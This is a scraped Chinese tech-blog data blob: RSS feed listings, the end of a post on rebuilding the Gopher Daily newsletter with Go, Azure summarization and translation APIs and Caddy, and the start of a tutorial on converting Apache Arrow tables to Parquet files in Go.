2018-05-30T10:00:00-04:00 title: Go and Dogma link: http://research.swtch.com/dogma published: 2017-01-09T09:00:00-05:00 title: A Tour of Acme link: http://research.swtch.com/acme published: 2012-09-17T11:00:00-04:00 title: Minimal Boolean Formulas link: http://research.swtch.com/boolean published: 2011-05-18T00:00:00-04:00 title: Zip Files All The Way Down link: http://research.swtch.com/zip published: 2010-03-18T00:00:00-04:00 title: UTF-8: Bits, Bytes, and Benefits link: http://research.swtch.com/utf8 published: 2010-03-05T00:00:00-05:00 title: Computing History at Bell Labs link: http://research.swtch.com/bell-labs published: 2008-04-09T00:00:00-04:00 title: Using Uninitialized Memory for Fun and Profit link: http://research.swtch.com/sparse published: 2008-03-14T00:00:00-04:00 title: Play Tic-Tac-Toe with Knuth link: http://research.swtch.com/tictactoe published: 2008-01-25T00:00:00-05:00 title: Crabs, the bitmap terror! link: http://research.swtch.com/crabs published: 2008-01-09T00:00:00-05:00 The info of feed url: https://tonybai.com/feed/ title: Go语言开发者的Apache Arrow使用指南：读写Parquet文件 link: https://tonybai.com/2023/07/31/a-guide-of-using-apache-arrow-for-gopher-part6/ published: Mon, 31 Jul 2023 13:07:28 +0000 title: Go语言开发者的Apache Arrow使用指南：扩展compute包 link: https://tonybai.com/2023/07/22/a-guide-of-using-apache-arrow-for-gopher-part5/ published: Sat, 22 Jul 2023 13:58:57 +0000 title: 使用testify包辅助Go测试指南 link: https://tonybai.com/2023/07/16/the-guide-of-go-testing-with-testify-package/ published: Sun, 16 Jul 2023 07:09:56 +0000 title: Go语言开发者的Apache Arrow使用指南：数据操作 link: https://tonybai.com/2023/07/13/a-guide-of-using-apache-arrow-for-gopher-part4/ published: Thu, 13 Jul 2023 14:41:25 +0000 title: Go语言开发者的Apache Arrow使用指南：高级数据结构 link: https://tonybai.com/2023/07/08/a-guide-of-using-apache-arrow-for-gopher-part3/ published: Sat, 08 Jul 2023 15:27:54 +0000 title: Apache Arrow：驱动列式分析性能和连接性的提升[译] link: https://tonybai.com/2023/07/01/arrow-columnar-analytics/ published: Sat, 01 Jul 2023 14:42:29 +0000 title: Go语言开发者的Apache Arrow使用指南：内存管理 link: https://tonybai.com/2023/06/30/a-guide-of-using-apache-arrow-for-gopher-part2/ published: Fri, 30 Jun 2023 14:00:59 +0000 title: Go语言开发者的Apache Arrow使用指南：数据类型 link: https://tonybai.com/2023/06/25/a-guide-of-using-apache-arrow-for-gopher-part1/ published: Sat, 24 Jun 2023 20:43:38 +0000 title: Go语言包设计指南 link: https://tonybai.com/2023/06/18/go-package-design-guide/ published: Sun, 18 Jun 2023 15:03:41 +0000 title: Go GC：了解便利背后的开销 link: https://tonybai.com/2023/06/13/understand-go-gc-overhead-behind-the-convenience/ published: Tue, 13 Jun 2023 14:00:16 +0000 The info of feed url: https://benhoyt.com/writings/rss.xml title: The proposal to enhance Go's HTTP router link: https://benhoyt.com/writings/go-servemux-enhancements/ published: Mon, 31 Jul 2023 08:00:00 +1200 title: Scripting with Go: a 400-line Git client that can create a repo and push itself to GitHub link: https://benhoyt.com/writings/gogit/ published: Sat, 29 Jul 2023 16:30:00 +1200 title: Names should be as short as possible while still being clear link: https://benhoyt.com/writings/short-names/ published: Mon, 03 Jul 2023 21:00:00 +1200 title: Lookup Tables (Forth Dimensions XIX.3) link: https://benhoyt.com/writings/forth-lookup-tables/ published: Sat, 01 Jul 2023 22:10:00 +1200 title: For Python packages, file structure != API link: https://benhoyt.com/writings/python-api-file-structure/ published: Fri, 30 Jun 2023 22:50:00 +1200 title: Designing Pythonic library APIs link: https://benhoyt.com/writings/python-api-design/ published: Sun, 18 Jun 2023 21:00:00 +1200 title: From Go on EC2 to Fly.io: +fun, −$9/mo link: https://benhoyt.com/writings/flyio/ published: Mon, 27 Feb 2023 10:00:00 +1300 title: Code coverage for your AWK programs link: https://benhoyt.com/writings/goawk-coverage/ published: Sat, 10 Dec 2022 13:41:00 +1300 title: I/O is no longer the bottleneck link: https://benhoyt.com/writings/io-is-no-longer-the-bottleneck/ published: Sat, 26 Nov 2022 22:20:00 +1300 title: microPledge: our startup that (we wish) competed with Kickstarter link: https://benhoyt.com/writings/micropledge/ published: Mon, 14 Nov 2022 20:00:00 +1200 title: Rob Pike's simple C regex matcher in Go link: https://benhoyt.com/writings/rob-pike-regex/ published: Fri, 12 Aug 2022 14:00:00 +1200 title: Tools I use to build my website link: https://benhoyt.com/writings/tools-i-use-to-build-my-website/ published: Tue, 02 Aug 2022 19:00:00 +1200 title: Modernizing AWK, a 45-year old language, by adding CSV support link: https://benhoyt.com/writings/goawk-csv/ published: Tue, 10 May 2022 09:30:00 +1200 title: Prig: like AWK, but uses Go for \u0026quot;scripting\u0026quot; link: https://benhoyt.com/writings/prig/ published: Sun, 27 Feb 2022 18:20:00 +0100 title: Go performance from version 1.2 to 1.18 link: https://benhoyt.com/writings/go-version-performance/ published: Fri, 4 Feb 2022 09:30:00 +1300 title: Optimizing GoAWK with a bytecode compiler and virtual machine link: https://benhoyt.com/writings/goawk-compiler-vm/ published: Thu, 3 Feb 2022 22:25:00 +1300 title: AWKGo, an AWK-to-Go compiler link: https://benhoyt.com/writings/awkgo/ published: Mon, 22 Nov 2021 00:10:00 +1300 title: Improving the code from the official Go RESTful API tutorial link: https://benhoyt.com/writings/web-service-stdlib/ published: Wed, 17 Nov 2021 07:00:00 +1300 title: Simple Lists: a tiny to-do list app written the old-school way (server-side Go, no JS) link: https://benhoyt.com/writings/simple-lists/ published: Mon, 4 Oct 2021 07:30:00 +1300 title: Structural pattern matching in Python 3.10 link: https://benhoyt.com/writings/python-pattern-matching/ published: Mon, 20 Sep 2021 19:30:00 +1200 title: Mugo, a toy compiler for a subset of Go that can compile itself link: https://benhoyt.com/writings/mugo/ published: Mon, 12 Apr 2021 20:30:00 +1300 title: How to implement a hash table (in C) link: https://benhoyt.com/writings/hash-table-in-c/ published: Fri, 26 Mar 2021 20:30:00 +1300 title: Performance comparison: counting words in Python, Go, C++, C, AWK, Forth, and Rust link: https://benhoyt.com/writings/count-words/ published: Mon, 15 Mar 2021 20:30:00 +1300 title: The small web is beautiful link: https://benhoyt.com/writings/the-small-web-is-beautiful/ published: Tue, 2 Mar 2021 06:50:00 +1300 title: Coming in Go 1.16: ReadDir and DirEntry link: https://benhoyt.com/writings/go-readdir/ published: Fri, 29 Jan 2021 10:00:00 +1300 title: Fuzzing in Go link: https://lwn.net/Articles/829242/ published: Tue, 25 Aug 2020 08:00:00 +1200 title: Searching code with Sourcegraph link: https://lwn.net/Articles/828748/ published: Mon, 17 Aug 2020 08:00:00 +1200 title: Different approaches to HTTP routing in Go link: https://benhoyt.com/writings/go-routing/ published: Fri, 31 Jul 2020 08:00:00 +1200 title: Go filesystems and file embedding link: https://lwn.net/Articles/827215/ published: Fri, 31 Jul 2020 00:00:00 +1200 title: The sad, slow-motion death of Do Not Track link: https://lwn.net/Articles/826575/ published: Wed, 22 Jul 2020 11:00:00 +1200 title: What's new in Lua 5.4 link: https://lwn.net/Articles/826134/ published: Wed, 15 Jul 2020 11:00:00 +1200 title: Hugo: a static-site generator link: https://lwn.net/Articles/825507/ published: Wed, 8 Jul 2020 11:00:00 +1200 title: Generics for Go link: https://lwn.net/Articles/824716/ published: Wed, 1 Jul 2020 11:00:00 +1200 title: More alternatives to Google Analytics link: https://lwn.net/Articles/824294/ published: Wed, 24 Jun 2020 11:00:00 +1200 title: Lightweight Google Analytics alternatives link: https://lwn.net/Articles/822568/ published: Wed, 17 Jun 2020 11:00:00 +1200 title: An intro to Go for non-Go developers link: https://benhoyt.com/writings/go-intro/ published: Wed, 10 Jun 2020 23:38:00 +1200 title: ZZT in Go (using a Pascal-to-Go converter) link: https://benhoyt.com/writings/zzt-in-go/ published: Fri, 29 May 2020 17:25:00 +1200 title: Testing in Go: philosophy and tools link: https://lwn.net/Articles/821358/ published: Wed, 27 May 2020 12:00:00 +1200 title: The state of the AWK link: https://lwn.net/Articles/820829/ published: Wed, 20 May 2020 12:00:00 +1200 title: What's coming in Go 1.15 link: https://lwn.net/Articles/820217/ published: Wed, 13 May 2020 12:00:00 +1200 title: Don't try to sanitize input. Escape output. link: https://benhoyt.com/writings/dont-sanitize-do-escape/ published: Thu, 27 Feb 2020 19:27:00 +1200 title: SEO for Software Engineers link: https://benhoyt.com/writings/seo-for-software-engineers/ published: Thu, 20 Feb 2020 12:00:00 +1200 注：gofeed抓取的item.Description是文章的摘要。但这个摘要不一定可以真实反映文章内容的概要，很多就是文章内容的前N个字而已。\nGopher Daily半自动化改造的另外一个技术课题是对拉取的文章做自动摘要与标题摘要的翻译，下面我们继续来看一下这个课题如何攻破。\n注：目前微信公众号的优质文章尚未实现自动拉取，还需手工选优。\n3. 自动摘要与翻译 对一段文本提取摘要和翻译均属于自然语言处理(NLP)范畴，说实话，Go在这个范畴中并不活跃，很难找到像样的开源算法实现或工具可直接使用。我的解决方案是借助云平台供应商的NLP API来做，这里我用的是微软Azure的相关API。\n在使用现成的API之前，我们需要抓取特定url上的html页面并提取出要进行摘要的文本。\n3.1 提取html中的原始文本 我们通过http.Get可以获取到一个文章URL上的html页面的所有内容，但如何提取出主要文本以供后续提取摘要使用呢？每个站点上的html内容都包含了很多额外内容，比如header、footer、分栏、边栏、导航栏等，这些内容对摘要的生成具有一定影响。我们最好能将这些额外内容剔除掉。但html的解析还是十分复杂的，我的解决方案是将html转换为markdown后再提交给摘要API。\nhtml-to-markdown是一款不错的转换工具，它最吸引我的是可以删除原HTML中的一些tag，并自定义一些rule。下面的例子就是用html-to-markdown获取文章原始本文的例子：\n// get-original-text/main.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;io/ioutil\u0026quot; \u0026quot;net/http\u0026quot; md \u0026quot;github.com/JohannesKaufmann/html-to-markdown\u0026quot; ) func main() { s, err := getOriginText(\u0026quot;http://research.swtch.com/coro\u0026quot;) if err != nil { panic(err) } fmt.Println(s) } func getOriginText(url string) (string, error) { resp, err := http.Get(url) if err != nil { return \u0026quot;\u0026quot;, err } defer resp.Body.Close() body, _ := ioutil.ReadAll(resp.Body) converter := md.NewConverter(\u0026quot;\u0026quot;, true, nil).Remove(\u0026quot;header\u0026quot;, \u0026quot;footer\u0026quot;, \u0026quot;aside\u0026quot;, \u0026quot;table\u0026quot;, \u0026quot;nav\u0026quot;) //\u0026quot;table\u0026quot; is used to store code markdown, err := converter.ConvertString(string(body)) if err != nil { return \u0026quot;\u0026quot;, err } return markdown, nil } 在这个例子中，我们删除了header、footer、边栏、导航栏等，尽可能的保留主要文本。针对这个例子我就不执行了，大家可以自行执行并查看执行结果。\n3.2 提取摘要 我们通过微软Azure提供的摘要提取API进行摘要提取。微软Azure的这个API提供的免费额度，足够我这边制作Gopher Daily使用了。\n注：要使用微软Azure提供的各类免费API，需要先注册Azure的账户。目前摘要提取API仅在North Europe, East US, UK South三个region提供，创建API服务时别选错Region了。我这里用的是East US。\n注：Azure控制台较为难用，大家要有心理准备:)。\n微软这个摘要API十分复杂，下面给出一个用curl调用API的示例。\n摘要提取API的使用分为两步。第一步是请求对原始文本进行摘要处理，比如：\n$curl -i -X POST https://gopherdaily-summarization.cognitiveservices.azure.com/language/analyze-text/jobs?api-version=2022-10-01-preview \\ -H \u0026quot;Content-Type: application/json\u0026quot; \\ -H \u0026quot;Ocp-Apim-Subscription-Key: your_api_key\u0026quot; \\ -d \\ ' { \u0026quot;displayName\u0026quot;: \u0026quot;Document Abstractive Summarization Task Example\u0026quot;, \u0026quot;analysisInput\u0026quot;: { \u0026quot;documents\u0026quot;: [ { \u0026quot;id\u0026quot;: \u0026quot;1\u0026quot;, \u0026quot;language\u0026quot;: \u0026quot;en\u0026quot;, \u0026quot;text\u0026quot;: \u0026quot;At Microsoft, we have been on a quest to advance AI beyond existing techniques, by taking a more holistic, human-centric approach to learning and understanding. As Chief Technology Officer of Azure AI services, I have been working with a team of amazing scientists and engineers to turn this quest into a reality. In my role, I enjoy a unique perspective in viewing the relationship among three attributes of human cognition: monolingual text (X), audio or visual sensory signals, (Y) and multilingual (Z). At the intersection of all three, there’s magic—what we call XYZ-code as illustrated in Figure 1—a joint representation to create more powerful AI that can speak, hear, see, and understand humans better. We believe XYZ-code will enable us to fulfill our long-term vision: cross-domain transfer learning, spanning modalities and languages. The goal is to have pre-trained models that can jointly learn representations to support a broad range of downstream AI tasks, much in the way humans do today. Over the past five years, we have achieved human performance on benchmarks in conversational speech recognition, machine translation, conversational question answering, machine reading comprehension, and image captioning. These five breakthroughs provided us with strong signals toward our more ambitious aspiration to produce a leap in AI capabilities, achieving multi-sensory and multilingual learning that is closer in line with how humans learn and understand. I believe the joint XYZ-code is a foundational component of this aspiration, if grounded with external knowledge sources in the downstream AI tasks.\u0026quot; } ] }, \u0026quot;tasks\u0026quot;: [ { \u0026quot;kind\u0026quot;: \u0026quot;AbstractiveSummarization\u0026quot;, \u0026quot;taskName\u0026quot;: \u0026quot;Document Abstractive Summarization Task 1\u0026quot;, \u0026quot;parameters\u0026quot;: { \u0026quot;sentenceCount\u0026quot;: 1 } } ] } ' 请求成功后，我们将得到一段应答，应答中包含类似operation-location的一段地址：\nOperation-Location:[https://gopherdaily-summarization.cognitiveservices.azure.com/language/analyze-text/jobs/66e7e3a1-697c-4fad-864c-d84c647682b4?api-version=2022-10-01-preview] 这段地址就是第二步的请求地址，第二步是从这个地址获取摘要后的本文：\n$curl -X GET https://gopherdaily-summarization.cognitiveservices.azure.com/language/analyze-text/jobs/66e7e3a1-697c-4fad-864c-d84c647682b4\\?api-version\\=2022-10-01-preview \\ -H \u0026quot;Content-Type: application/json\u0026quot; \\ -H \u0026quot;Ocp-Apim-Subscription-Key: your_api_key\u0026quot; {\u0026quot;jobId\u0026quot;:\u0026quot;66e7e3a1-697c-4fad-864c-d84c647682b4\u0026quot;,\u0026quot;lastUpdatedDateTime\u0026quot;:\u0026quot;2023-07-27T11:09:45Z\u0026quot;,\u0026quot;createdDateTime\u0026quot;:\u0026quot;2023-07-27T11:09:44Z\u0026quot;,\u0026quot;expirationDateTime\u0026quot;:\u0026quot;2023-07-28T11:09:44Z\u0026quot;,\u0026quot;status\u0026quot;:\u0026quot;succeeded\u0026quot;,\u0026quot;errors\u0026quot;:[],\u0026quot;displayName\u0026quot;:\u0026quot;Document Abstractive Summarization Task Example\u0026quot;,\u0026quot;tasks\u0026quot;:{\u0026quot;completed\u0026quot;:1,\u0026quot;failed\u0026quot;:0,\u0026quot;inProgress\u0026quot;:0,\u0026quot;total\u0026quot;:1,\u0026quot;items\u0026quot;:[{\u0026quot;kind\u0026quot;:\u0026quot;AbstractiveSummarizationLROResults\u0026quot;,\u0026quot;taskName\u0026quot;:\u0026quot;Document Abstractive Summarization Task 1\u0026quot;,\u0026quot;lastUpdateDateTime\u0026quot;:\u0026quot;2023-07-27T11:09:45.8892126Z\u0026quot;,\u0026quot;status\u0026quot;:\u0026quot;succeeded\u0026quot;,\u0026quot;results\u0026quot;:{\u0026quot;documents\u0026quot;:[{\u0026quot;summaries\u0026quot;:[{\u0026quot;text\u0026quot;:\u0026quot;Microsoft has been working to advance AI beyond existing techniques by taking a more holistic, human-centric approach to learning and understanding, and the Chief Technology Officer of Azure AI services, who enjoys a unique perspective in viewing the relationship among three attributes of human cognition: monolingual text, audio or visual sensory signals, and multilingual, has created XYZ-code, a joint representation to create more powerful AI that can speak, hear, see, and understand humans better.\u0026quot;,\u0026quot;contexts\u0026quot;:[{\u0026quot;offset\u0026quot;:0,\u0026quot;length\u0026quot;:1619}]}],\u0026quot;id\u0026quot;:\u0026quot;1\u0026quot;,\u0026quot;warnings\u0026quot;:[]}],\u0026quot;errors\u0026quot;:[],\u0026quot;modelVersion\u0026quot;:\u0026quot;latest\u0026quot;}}]}}% 大家可以根据请求和应答的JSON结构，结合一些json-to-struct工具自行实现Azure摘要API的Go代码。\n3.3 翻译 Azure的翻译API相对于摘要API要简单的多。\n下面是使用curl演示翻译API的示例：\n$curl -X POST \u0026quot;https://api.cognitive.microsofttranslator.com/translate?api-version=3.0\u0026amp;to=zh\u0026quot; \\ -H \u0026quot;Ocp-Apim-Subscription-Key:your_api_key\u0026quot; \\ -H \u0026quot;Ocp-Apim-Subscription-Region:westcentralus\u0026quot; \\ -H \u0026quot;Content-Type: application/json\u0026quot; \\ -d \u0026quot;[{'Text':'Hello, what is your name?'}]\u0026quot; [{\u0026quot;detectedLanguage\u0026quot;:{\u0026quot;language\u0026quot;:\u0026quot;en\u0026quot;,\u0026quot;score\u0026quot;:1.0},\u0026quot;translations\u0026quot;:[{\u0026quot;text\u0026quot;:\u0026quot;你好，你叫什么名字？\u0026quot;,\u0026quot;to\u0026quot;:\u0026quot;zh-Hans\u0026quot;}]}]% 大家可以根据请求和应答的JSON结构，结合一些json-to-struct工具自行实现Azure翻译API的Go代码。\n对于源文章是中文的，我们可以无需调用该API进行翻译，下面是一个判断字符串是否为中文的函数：\nfunc isChinese(s string) bool { for _, r := range s { if unicode.Is(unicode.Scripts[\u0026quot;Han\u0026quot;], r) { return true } } return false } 4. 页面样式设计与html生成 这次Gopher Daily改版，我为Gopher Daily提供了Web版和邮件列表版，但页面设计是我最不擅长的。好在，和四年前相比，IT技术又有了进一步的发展，以ChatGPT为代表的大语言模型如雨后春笋般层出不穷，我可以借助大模型的帮助来为我设计和实现一个简单的html页面了。下图就是这次改版后的第一版页面：\n整个页面分为四大部分：Go、云原生(与Go关系紧密，程序员相关，架构相关的内容也放在这部分)、AI(当今流行)以及热门工具与项目(目前主要是github trending中每天Go项目的top列表中的内容)。\n每一部分每个条目都包含文章标题、文章链接和文章的摘要，摘要的增加可以帮助大家更好的预览文章内容。\nhtml和markdown的生成都是基于Go的template技术，template也是借助claude.ai设计与实现的，这里就不赘述了。\n5. 服务器选型 以前的Gopher Daily仅是在github上的一个开源项目，大家通过watch来订阅。此外，Basten Gao维护着一个第三方的邮件列表，在此也对Basten Gao对Gopher Daily的长期支持表示感谢。\n如今改版后，我原生提供了Gopher Daily的Web版，我需要为Gopher Daily选择服务器。\n简单起见，我选用了github page来承载Gopher Daily的Web版。\n至于邮件列表的订阅、取消订阅，我则是开发了一个小小的服务，跑在Digital Ocean的VPS上。\n在选择反向代理web服务器时，我放弃了nginx，选择了同样Go技术栈实现的Caddy。Caddy最大好处就是易上手，且默认自动支持HTTPS，我无需自行用工具向免费证书机构(如 Let’s Encrypt或ZeroSSL)去申请和维护证书。\n6 小结 这次改版后的Gopher Daily应得上那句话：“麻雀虽小，五脏俱全”：我为此开发了三个工具，一个服务。\n当然Gopher Daily还在持续优化，后续也会根据Gopher们的反馈作适当调整。\n摘要和翻译目前使用Azure API，后续可能会改造为使用类ChatGPT的API。\n此外，知识星球Gopher部落的星友们依然拥有“先睹为快”的权益。\n本文示例代码可以在这里下载。\nGopher Daily网页版 – https://gopherdaily.tonybai.com Gopher Daily邮件列表订阅 – https://gopherdaily.tonybai.com/subscribe Gopher Daily项目归档(markdown版本) – https://github.com/bigwhite/gopherdaily “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/08/06/gopherdaily-revamped/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/gopherdaily-revamped-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/08/06/gopherdaily-revamped\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/08/06/gopherdaily-revamped\"\u003ehttps://tonybai.com/2023/08/06/gopherdaily-revamped\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e已经记不得GopherDaily是何时创建的了，翻了一下\u003ca href=\"https://github.com/bigwhite/gopherdaily\"\u003eGopherDaily项目\u003c/a\u003e的commit history，才发现我的这个个人项目是2019年9月创建的，\u003ca href=\"https://github.com/bigwhite/gopherdaily/blob/master/201909/issue-20190925.txt\"\u003e最初内容组织很粗糙\u003c/a\u003e，但我的编辑制作的热情很高，基本能坚持\u003cstrong\u003e每日一发\u003c/strong\u003e，甚至节假日也\u003cstrong\u003e不停刊\u003c/strong\u003e：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 2\" loading=\"lazy\" src=\"/images/wp-content/uploads/gopherdaily-revamped-2.png\"\u003e\u003c/p\u003e\n\u003cp\u003e该项目的初衷就是\u003cstrong\u003e为广大Gopher带来新鲜度较高的Go语言技术资料\u003c/strong\u003e。项目创建以来得到了很多Gopher的支持，甚至经常收到催刊邮件/私信以及主动report订阅列表问题的情况。\u003c/p\u003e","title":"Gopher Daily改版了"},{"content":"\n本文永久链接 – https://tonybai.com/2023/07/31/a-guide-of-using-apache-arrow-for-gopher-part6\nApache Arrow是一种开放的、与语言无关的列式内存格式，在本系列文章的前几篇中，我们都聚焦于内存表示与内存操作。\n但对于一个数据库系统或大数据分析平台来说，数据不能也无法一直放在内存中，虽说目前内存很大也足够便宜了，但其易失性也决定了我们在特定时刻还是要将数据序列化后存储到磁盘或一些低成本的存储服务上(比如AWS的S3等)。\n那么将Arrow序列化成什么存储格式呢？CSV、JSON？显然这些格式都不是为最大限度提高空间效率以及数据检索能力而设计的。在数据分析领域，Apache Parquet是与Arrow相似的一种开放的、面向列的数据存储格式，它被设计用于高效的数据编码和检索并最大限度提高空间效率。\n和Arrow是一种内存格式不同，Parquet是一种数据文件格式。此外，Arrow和Parquet在设计上也做出了各自的一些取舍。Arrow旨在由矢量化计算内核对数据进行操作，提供对任何数组索引的 O(1) 随机访问查找能力；而Parquet为了最大限度提高空间效率，采用了可变长度编码方案和块压缩来大幅减小数据大小，这些技术都是以丧失高性能随机存取查找为代价的。\nParquet也是Apache的顶级项目，大多数实现了Arrow的编程语言也都提供了支持Arrow格式与Parquet文件相互转换的库实现，Go也不例外。在本文中，我们就来粗浅看一下如何使用Go实现Parquet文件的读写，即Arrow和Parquet的相互转换。\n注：关于Parquet文件的详细格式(也蛮复杂)，我可能会在后续文章中说明。\n1. Parquet简介 如果不先说一说Parquet文件格式，后面的内容理解起来会略有困难的。下面是一个Parquet文件的结构示意图：\n图来自https://www.uber.com/blog/cost-efficiency-big-data\n我们看到Parquet格式的文件被分为多个row group，每个row group由每一列的列块(column chunk)组成。考虑到磁盘存储的特点，每个列块又分为若干个页。这个列块中的诸多同构类型的列值可以在编码和压缩后存储在各个页中。下面是Parquet官方文档中Parquet文件中数据存储的具体示意图：\n我们看到Parquet按row group顺序向后排列，每个row group中column chunk也是依column次序向后排列的。\n注：关于上图中repetion level和definition level这样的高级概念，不会成为理解本文内容的障碍，我们将留到后续文章中系统说明。\n2. Arrow Table \u0026lt;-\u0026gt; Parquet 有了上面Parquet文件格式的初步知识后，接下来我们就来看看如何使用Go在Arrow和Parquet之间进行转换。\n在《高级数据结构》一文中，我们学习了Arrow Table和Record Batch两种高级结构。接下来我们就来看看如何将Table或Record与Parquet进行转换。一旦像Table、Record Batch这样的高级结构的转换搞定了，那Arrow中的那些简单数据类型)也就不在话下了。况且在实际项目中，我们面对更多的也是Arrow的高级数据结构(Table或Record)与Parquet的转换。\n我们先来看看Table。\n2.1 Table -\u0026gt; Parquet 通过在《高级数据结构》一文，我们知道了Arrow Table的每一列本质上就是Schema+Chunked Array，这和Parquet的文件格式具有较高的适配度。\nArrow Go的parquet实现提供对了Table的良好支持，我们通过一个WriteTable函数就可以将内存中的Arrow Table持久化为Parquet格式的文件，我们来看看下面这个示例：\n// flat_table_to_parquet.go package main import ( \u0026quot;os\u0026quot; \u0026quot;github.com/apache/arrow/go/v13/arrow\u0026quot; \u0026quot;github.com/apache/arrow/go/v13/arrow/array\u0026quot; \u0026quot;github.com/apache/arrow/go/v13/arrow/memory\u0026quot; \u0026quot;github.com/apache/arrow/go/v13/parquet/pqarrow\u0026quot; ) func main() { schema := arrow.NewSchema( []arrow.Field{ {Name: \u0026quot;col1\u0026quot;, Type: arrow.PrimitiveTypes.Int32}, {Name: \u0026quot;col2\u0026quot;, Type: arrow.PrimitiveTypes.Float64}, {Name: \u0026quot;col3\u0026quot;, Type: arrow.BinaryTypes.String}, }, nil, ) col1 := func() *arrow.Column { chunk := func() *arrow.Chunked { ib := array.NewInt32Builder(memory.DefaultAllocator) defer ib.Release() ib.AppendValues([]int32{1, 2, 3}, nil) i1 := ib.NewInt32Array() defer i1.Release() ib.AppendValues([]int32{4, 5, 6, 7, 8, 9, 10}, nil) i2 := ib.NewInt32Array() defer i2.Release() c := arrow.NewChunked( arrow.PrimitiveTypes.Int32, []arrow.Array{i1, i2}, ) return c }() defer chunk.Release() return arrow.NewColumn(schema.Field(0), chunk) }() defer col1.Release() col2 := func() *arrow.Column { chunk := func() *arrow.Chunked { fb := array.NewFloat64Builder(memory.DefaultAllocator) defer fb.Release() fb.AppendValues([]float64{1.1, 2.2, 3.3, 4.4, 5.5}, nil) f1 := fb.NewFloat64Array() defer f1.Release() fb.AppendValues([]float64{6.6, 7.7}, nil) f2 := fb.NewFloat64Array() defer f2.Release() fb.AppendValues([]float64{8.8, 9.9, 10.0}, nil) f3 := fb.NewFloat64Array() defer f3.Release() c := arrow.NewChunked( arrow.PrimitiveTypes.Float64, []arrow.Array{f1, f2, f3}, ) return c }() defer chunk.Release() return arrow.NewColumn(schema.Field(1), chunk) }() defer col2.Release() col3 := func() *arrow.Column { chunk := func() *arrow.Chunked { sb := array.NewStringBuilder(memory.DefaultAllocator) defer sb.Release() sb.AppendValues([]string{\u0026quot;s1\u0026quot;, \u0026quot;s2\u0026quot;}, nil) s1 := sb.NewStringArray() defer s1.Release() sb.AppendValues([]string{\u0026quot;s3\u0026quot;, \u0026quot;s4\u0026quot;}, nil) s2 := sb.NewStringArray() defer s2.Release() sb.AppendValues([]string{\u0026quot;s5\u0026quot;, \u0026quot;s6\u0026quot;, \u0026quot;s7\u0026quot;, \u0026quot;s8\u0026quot;, \u0026quot;s9\u0026quot;, \u0026quot;s10\u0026quot;}, nil) s3 := sb.NewStringArray() defer s3.Release() c := arrow.NewChunked( arrow.BinaryTypes.String, []arrow.Array{s1, s2, s3}, ) return c }() defer chunk.Release() return arrow.NewColumn(schema.Field(2), chunk) }() defer col3.Release() var tbl arrow.Table tbl = array.NewTable(schema, []arrow.Column{*col1, *col2, *col3}, -1) defer tbl.Release() f, err := os.Create(\u0026quot;flat_table.parquet\u0026quot;) if err != nil { panic(err) } defer f.Close() err = pqarrow.WriteTable(tbl, f, 1024, nil, pqarrow.DefaultWriterProps()) if err != nil { panic(err) } } 我们基于arrow的Builder模式以及NewTable创建了一个拥有三个列的Table(该table的创建例子来自于《高级数据结构》一文)。有了table后，我们直接调用pqarrow的WriteTable函数即可将table写成parquet格式的文件。\n我们来运行一下上述代码：\n$go run flat_table_to_parquet.go 执行完上面命令后，当前目录下会出现一个flat_table.parquet的文件！\n我们如何查看该文件内容来验证写入的数据是否与table一致呢？arrow go的parquet实现提供了一个parquet_reader的工具可以帮助我们做到这点，你可以执行如下命令安装这个工具：\n$go install github.com/apache/arrow/go/v13/parquet/cmd/parquet_reader@latest 之后我们就可以执行下面命令查看我们刚刚生成的flat_table.parquet文件的内容了：\n$parquet_reader flat_table.parquet File name: flat_table.parquet Version: v2.6 Created By: parquet-go version 13.0.0-SNAPSHOT Num Rows: 10 Number of RowGroups: 1 Number of Real Columns: 3 Number of Columns: 3 Number of Selected Columns: 3 Column 0: col1 (INT32/INT_32) Column 1: col2 (DOUBLE) Column 2: col3 (BYTE_ARRAY/UTF8) --- Row Group: 0 --- --- Total Bytes: 396 --- --- Rows: 10 --- Column 0 Values: 10, Min: 1, Max: 10, Null Values: 0, Distinct Values: 0 Compression: UNCOMPRESSED, Encodings: RLE_DICTIONARY PLAIN RLE Uncompressed Size: 111, Compressed Size: 111 Column 1 Values: 10, Min: 1.1, Max: 10, Null Values: 0, Distinct Values: 0 Compression: UNCOMPRESSED, Encodings: RLE_DICTIONARY PLAIN RLE Uncompressed Size: 169, Compressed Size: 169 Column 2 Values: 10, Min: [115 49], Max: [115 57], Null Values: 0, Distinct Values: 0 Compression: UNCOMPRESSED, Encodings: RLE_DICTIONARY PLAIN RLE Uncompressed Size: 116, Compressed Size: 116 --- Values --- col1 |col2 |col3 | 1 |1.100000 |s1 | 2 |2.200000 |s2 | 3 |3.300000 |s3 | 4 |4.400000 |s4 | 5 |5.500000 |s5 | 6 |6.600000 |s6 | 7 |7.700000 |s7 | 8 |8.800000 |s8 | 9 |9.900000 |s9 | 10 |10.000000 |s10 | parquet_reader列出了parquet文件的meta数据和每个row group中的column列的值，从输出来看，与我们arrow table的数据是一致的。\n我们再回头看一下WriteTable函数，它的原型如下：\nfunc WriteTable(tbl arrow.Table, w io.Writer, chunkSize int64, props *parquet.WriterProperties, arrprops ArrowWriterProperties) 